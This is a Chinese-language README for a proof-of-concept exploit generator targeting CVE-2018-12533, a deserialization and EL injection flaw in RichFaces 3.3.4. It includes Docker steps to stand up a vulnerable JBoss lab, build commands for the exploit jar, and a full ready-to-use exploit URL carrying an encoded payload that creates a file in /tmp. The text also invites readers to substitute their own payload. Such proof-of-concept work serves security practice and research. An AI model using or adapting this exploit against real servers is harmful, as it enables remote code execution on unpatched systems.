RF-14310 / CVE-2018-12533 载荷生成器

基于 Lucifaer 的研究

全部致谢 https://github.com/Lucifaer

参考

https://access.redhat.com/security/cve/cve-2018-12533

richfaces-jboss-poc

易于部署的概念验证，用于练习 Richfaces 3.3.4 反序列化 + EL 注入利用，无需过多担心旧版 Java 等问题。

部署 jboss Docker

为了省去设置脆弱应用的麻烦，我基于 seclist 文章中关于 CVE-2018-14667 的说明创建了一个 Dockerfile。只需在仓库根目录执行以下命令：

docker build -t richfaces-jboss .
docker run -p 8081:8080 richfaces-jboss

如果一切正常，你可以通过 http://127.0.0.1:8081/photoalbum 访问 richfaces photoalbum 测试应用。

从仓库根目录将 poc 编译为 fat jar（借助 Docker 和工作正常的 pom 很容易）

cd CVE-2018-12533
docker run -v ~/.m2:/root/.m2 -v $(pwd):/usr/src/app maven:3.5-jdk-8 mvn -f /usr/src/app/pom.xml clean package install

生成 POC URL

java -jar target/cve_2018_12533.jar 

在 jboss 服务器上访问该 URL

如果你想做除了在 /tmp 创建文件之外的其他操作，请修改 /DATA/XXXXX 部分为你自己的载荷。此载荷会在 /tmp 创建 hacked.txt 文件。 http://127.0.0.1:8081/photoalbum/a4j/s/3_3_3.Finalorg.richfaces.renderkit.html.Paint2DResource/DATA/eAHNUk1r1UAUnfegVq2L-oEiItQo-goyKSJu6gOxFX2QWukTwbp4zEtuk2knM-nkpo0W3Qmi4satIOJKUBD9Be6k4KY!QQRxIYggLvVOUlssuDebXGbOnHPuufflVzaQW3bG2JhbGSZzIoScW9AR2AWJPMFU8StCajw1OQO5KWwIxzqpiGFSoGi!X!s4!OvF6yYb7LDtvX48YZSxHTbYmzM2FeiqBGScULWttywjTGbZjlCECYi-goAN9CKiQbYnmBdLwldCx!50fx5CHA!oReaEF9kd1igzVn9N-pWMNU6yjHwfd89KXrsOTZoZDRp5lzjhklHURFcsgb2--rb9-MmHqSZrBqSvRJ5fFin8rdtFK3VMujtzehNVHMj2186k8btgpVDylnM-XmZO!gRJ8rzQlQEFmHNQPIBYhDenABMTnZc6ItJ1740mawSskSI7VLGWPii!Bl4oMwt5Lo0m6n8xXxXxVvQf5l2UimUH6zjIxFbcG3!1waefpx9RfITbu4Hb1H1-9373--zaWYdwDo64lZjvm7xqaitfJ81U!9uBH0Pvdk85bTekoeWH7N7RFQuLBeTIY8AJl3RrdKMMjKCR0IGior70nBXuBs9nCo0yBa!C14Itj1g2z6VeMgvQ0oVSoxxKCFsemiJMRnxMMz8R4QJEHEv0Rm8zVlCfN6qca!r1-b5au!b5y-GVi1WfFF8T2b7KgzR8usCsQAKCoCENb1qrdzLLyuVn7OnIubGTYyNtLyQYwoTRSDvX!l8a98rfWVxP3w__.jsf

在另一个终端中进入 shell 来分析载荷是否成功

docker ps
docker exec -it <容器ID> bash
ls /tmp

直接使用该利用工具时，它会在 /tmp 目录下创建 cve_2018_12533 文件，因此你可以通过这种方式确认利用是否生效。